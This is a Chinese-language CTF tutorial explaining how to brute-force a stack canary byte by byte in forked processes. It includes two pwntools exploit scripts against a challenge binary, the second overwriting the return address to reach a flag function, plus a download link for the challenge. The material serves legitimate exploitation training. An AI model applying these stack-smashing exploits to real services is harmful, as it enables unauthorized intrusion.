爆破Canary

Canary 爆破的原理

Canary爆破是除Canary泄露外的另一个针对canary保护的利用方法。

对Canary而言,虽然每次进程重启后的Canary不同,但是同一个进程中的不同线程的Canary是相同的,并且通过fork函数创建的子进程的Canary也是相同的。
我们可以利用这个特点,逐个字节将Canary爆破出来。
不管是32位,还是64位的Canary,最低的一个字节均为0x00,从这个字节开始,依次破解每个字节:每次填入的值与Canary不匹配,则程序崩溃;每次填入的值与Canary匹配,则继续破解下一个字节。填入最高字节时,Canary匹配,就成功破解出了Canary。

爆破Canary的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
p = process('./bin1')
libc = elf.libc

else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print "the " + str(k) + ": " + chr(i)
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
print a
if "sucess" in a:
canary += chr(i)
print "canary: " + canary
break

getflag的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin1')

if local:
p = process('./bin1')
libc = elf.libc

else:
p = remote('',)
libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(3):
for i in range(256):
print "the " + str(k) + ": " + chr(i)
p.send('a'*100 + canary + chr(i))
a = p.recvuntil("welcome\n")
print a
if "sucess" in a:
canary += chr(i)
print "canary: " + canary
break
addr = 0x0804863B
payload = 'A' * 100 + canary + 'A' * 12 + p32(addr)

p.send(payload)
p.interactive()

题目

链接:https://pan.baidu.com/s/1o9kaR7iFpD0ZjAkX0uy8YQ
提取码:r7zj